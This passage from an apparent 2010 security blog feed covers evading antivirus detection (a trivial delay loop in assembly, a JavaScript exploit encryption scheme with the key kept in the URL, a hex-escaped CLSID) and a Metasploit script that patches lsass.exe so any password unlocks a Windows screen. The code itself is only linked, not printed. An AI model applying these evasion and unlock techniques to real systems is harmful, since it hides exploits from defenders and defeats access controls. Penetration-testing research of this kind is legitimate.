href="http://www.theregister.co.uk/2010/02/10/kaspersky_malware_detection_experiment/"&gt;showed&lt;/a&gt; again recently, AV vendors often add detection for programs that are detected by other vendors, so one question arises: did they just add a static signature detecting my obfuscated version of the program or did the generic detection really improve?&lt;br /&gt;&lt;br /&gt;The time consuming loop was really trivial, this is the code:&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: plain"&gt;pushad&lt;br /&gt;mov eax, 5&lt;br /&gt;outer:&lt;br /&gt;mov ecx, -1&lt;br /&gt;inner:&lt;br /&gt;xor ebx, ebx&lt;br /&gt;loop inner&lt;br /&gt;dec eax&lt;br /&gt;jnz outer&lt;br /&gt;popad&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;It should be fairly easy to detect something like that. I modified the executable so that it jumps to the end of the code section, executes the loop and then returns to the original entry point of the program.&lt;br /&gt;&lt;br /&gt;After renaming the sections back to their original names set by UPX and replacing the loop with NOPs, I uploaded the program again. Surprisingly, only 16 of 39 scanners still detect that one, so now I bypassed 12 AV products by &lt;i&gt;removing&lt;/i&gt; the obfuscation originally implemented...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4485342843431452477-3023245262161558446?l=blog.relentless-coding.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.relentless-coding.org/feeds/3023245262161558446/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.relentless-coding.org/2010/02/bypassing-antivirus-using-de.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4485342843431452477/posts/default/3023245262161558446'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4485342843431452477/posts/default/3023245262161558446'/><link rel='alternate' type='text/html' href='http://blog.relentless-coding.org/2010/02/bypassing-antivirus-using-de.html' title='Bypassing Antivirus using De-Obfuscation'/><author><name>Sven</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4485342843431452477.post-1981608102241056474</id><published>2010-02-21T03:16:00.000+01:00</published><updated>2010-02-21T13:10:22.812+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='metasploit'/><title type='text'>Windows Vista + 7 Targets for Screen Unlock Script</title><content type='html'>&lt;div style="font-family: Verdana,sans-serif;"&gt;The screen_unlock script for metasploit now supports Windows Vista and 7 (might not work with every version though).&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;The basic method used for Vista and 7 is still the same, yet there was one problem: Vista and 7 use ASLR, so fixed addresses for the code patch do not work.&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;The meterpreter API has a nice solution to this problem - it is possible to find out the base address of a specific process module.&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;The updated target section in the script contains relative offsets which are combined with the base address of msv1_0.dll in the lsass.exe process to locate the exact positions for checking the signature and applying the patch.&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;The script now also supports multiple targets for one OS - every matching target gets tested until a working one is found.&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;Get the new version here: &lt;a href="http://github.com/svent/misc/blob/master/metasploit/screen_unlock.rb"&gt;http://github.com/svent/misc/blob/master/metasploit/screen_unlock.rb&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4485342843431452477-1981608102241056474?l=blog.relentless-coding.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.relentless-coding.org/feeds/1981608102241056474/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.relentless-coding.org/2010/02/windows-vista-7-targets-for-screen.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4485342843431452477/posts/default/1981608102241056474'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4485342843431452477/posts/default/1981608102241056474'/><link rel='alternate' type='text/html' href='http://blog.relentless-coding.org/2010/02/windows-vista-7-targets-for-screen.html' title='Windows Vista + 7 Targets for Screen Unlock Script'/><author><name>Sven</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4485342843431452477.post-2935880705307642348</id><published>2010-02-18T00:00:00.000+01:00</published><updated>2010-02-18T00:14:04.026+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='metasploit'/><title type='text'>Screen Unlock Meterpreter Script</title><content type='html'>&lt;div style="font-family: Verdana,sans-serif;"&gt;Just released a meterpreter script that can be used to unlock the screen of a windows system. The script needs SYSTEM privileges and patches the msv1_0.dll loaded by lsass.exe so that every password will be accepted to unlock the screen. (the patch can also be undone to get back to normal behavior). Currently Windows XP SP2 and SP3 are supported.&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;The idea for this technique was first published by Metlstorm used for the winlockpwn tool performing the patch via firewire access to a machine.&lt;br /&gt;&lt;br /&gt;I think it might be good for some demonstration purposes. &lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;you can get the script here: &lt;a href="http://github.com/svent/misc/blob/master/metasploit/screen_unlock.rb"&gt;http://github.com/svent/misc/blob/master/metasploit/screen_unlock.rb&lt;/a&gt; &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4485342843431452477-2935880705307642348?l=blog.relentless-coding.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.relentless-coding.org/feeds/2935880705307642348/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.relentless-coding.org/2010/02/screen-unlock-meterpreter-script.html#comment-form' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4485342843431452477/posts/default/2935880705307642348'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4485342843431452477/posts/default/2935880705307642348'/><link rel='alternate' type='text/html' href='http://blog.relentless-coding.org/2010/02/screen-unlock-meterpreter-script.html' title='Screen Unlock Meterpreter Script'/><author><name>Sven</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4485342843431452477.post-6021457068417210450</id><published>2010-02-13T23:28:00.000+01:00</published><updated>2010-02-21T13:09:30.132+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='antivirus'/><category scheme='http://www.blogger.com/atom/ns#' term='metasploit'/><title type='text'>Circumventing Antivirus Javascript Detection</title><content type='html'>&lt;span style="font-family: &amp;quot;Verdana [microsoft]&amp;quot;, sans-serif;"&gt;Some browser-based exploits using javascript are detected by antivirus engines as they often use special strings that are easy to identify, e.g. ActiveX CLSIDs or "unescape('%u0c0c%u0c0c')".&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Verdana [microsoft]&amp;quot;, sans-serif;"&gt;Quite often, &lt;i&gt;very advanced&lt;/i&gt; techniques like changing&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-family: &amp;quot;Verdana [microsoft]&amp;quot;, sans-serif;"&gt;"clsid:0955AC62-BF2E-4CBA-A2B9-A63F772D46CF"&lt;/span&gt;&lt;/blockquote&gt;&lt;span style="font-family: &amp;quot;Verdana [microsoft]&amp;quot;, sans-serif;"&gt;into&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-family: &amp;quot;Verdana [microsoft]&amp;quot;, sans-serif;"&gt;"\x63\x6c\x73\x69\x64\x3a\x30\x39\x35\x35\x41\x43\x36\x32\x2d\x42\x46\x32\x45\x2d\x34\x43\x42\x41\x2d\x41\x32\x42\x39\x2d\x41\x36\x33\x46\x37\x37\x32\x44\x34\x36\x43\x46"&lt;/span&gt;&lt;/blockquote&gt;&lt;span style="font-family: &amp;quot;Verdana [microsoft]&amp;quot;, sans-serif;"&gt;already help to get past AV detection.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Verdana [microsoft]&amp;quot;, sans-serif;"&gt;More general techniques include randomly named variables, xor-encoded strings and so on. They all have in common that they are detectable if the javascript emulation engine is just good enough, as everything needed for detection is still contained in the examined code.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Verdana [microsoft]&amp;quot;, sans-serif;"&gt;Some time ago, I implemented a new approach which was integrated into the metasploit framework in combination with the msvidctl_mpeg2 exploit. The detection on virustotal.com dropped to zero. Seven months later, it is still undetected. The used encryption was now integrated into the ie_aurora exploit and again the detection dropped to zero.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Verdana [microsoft]&amp;quot;, sans-serif;"&gt;As zero detection on virustotal.com does not mean that no AV product will catch the exploit in a live environment (the scanners on virustotal will perform mostly static analysis), I tested the aurora exploit against two installed AV products (I'll better not name them) - with encryption, the exploit worked and was not detected anymore.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="font-family: &amp;quot;Verdana [microsoft]&amp;quot;, sans-serif;"&gt;How it works&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Verdana [microsoft]&amp;quot;, sans-serif;"&gt;As said before, AV detection relies on the fact that the inspected javascript contains everything needed for the exploit. The new implementation also uses an xor-encryption, yet the key is not contained within the script.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Verdana [microsoft]&amp;quot;, sans-serif;"&gt;The key used by the script is transferred as part of the URL, e.g.&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-family: &amp;quot;Verdana [microsoft]&amp;quot;, sans-serif;"&gt;http://host/exploit.html?&amp;lt;key&amp;gt; &lt;/span&gt;&lt;/blockquote&gt;&lt;span style="font-family: &amp;quot;Verdana [microsoft]&amp;quot;, sans-serif;"&gt;Whereas the javascript executed within the browser can access this part of the url without any problems, many AV products just access the html file stored as temporary file on the disk and therefore cannot access the key - leading to unencryptable javascript code (with the techniques currently used).&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="font-family: &amp;quot;Verdana [microsoft]&amp;quot;, sans-serif;"&gt;Links&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Verdana [microsoft]&amp;quot;, sans-serif;"&gt; Javascript encoder module and integration into the msvidctl_mpeg2 module:&lt;/span&gt;&lt;br /&gt;&lt;a href="http://www.metasploit.com/redmine/projects/framework/repository/revisions/6784"&gt;&lt;span style="font-family: &amp;quot;Verdana [microsoft]&amp;quot;, sans-serif;"&gt;http://www.metasploit.com/redmine/projects/framework/repository/revisions/6784&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family: &amp;quot;Verdana [microsoft]&amp;quot;, sans-serif;"&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Verdana [microsoft]&amp;quot;, sans-serif;"&gt;The patch for the ie_aurora exploit module can be found here:&lt;/span&gt;&lt;br /&gt;&lt;a href="http://github.com/svent/misc/tree/master/metasploit/"&gt;&lt;span style="font-family: &amp;quot;Verdana [microsoft]&amp;quot;, sans-serif;"&gt;http://github.com/svent/misc/tree/master/metasploit/&lt;/span&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4485342843431452477-6021457068417210450?l=blog.relentless-coding.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.relentless-coding.org/feeds/6021457068417210450/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.relentless-coding.org/2010/02/circumventing-antivirus-javascript.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4485342843431452477/posts/default/6021457068417210450'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4485342843431452477/posts/default/6021457068417210450'/><link rel='alternate' type='text/html' href='http://blog.relentless-coding.org/2010/02/circumventing-antivirus-javascript.html' title='Circumventing Antivirus Javascript Detection'/><author><name>Sven</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry></feed>
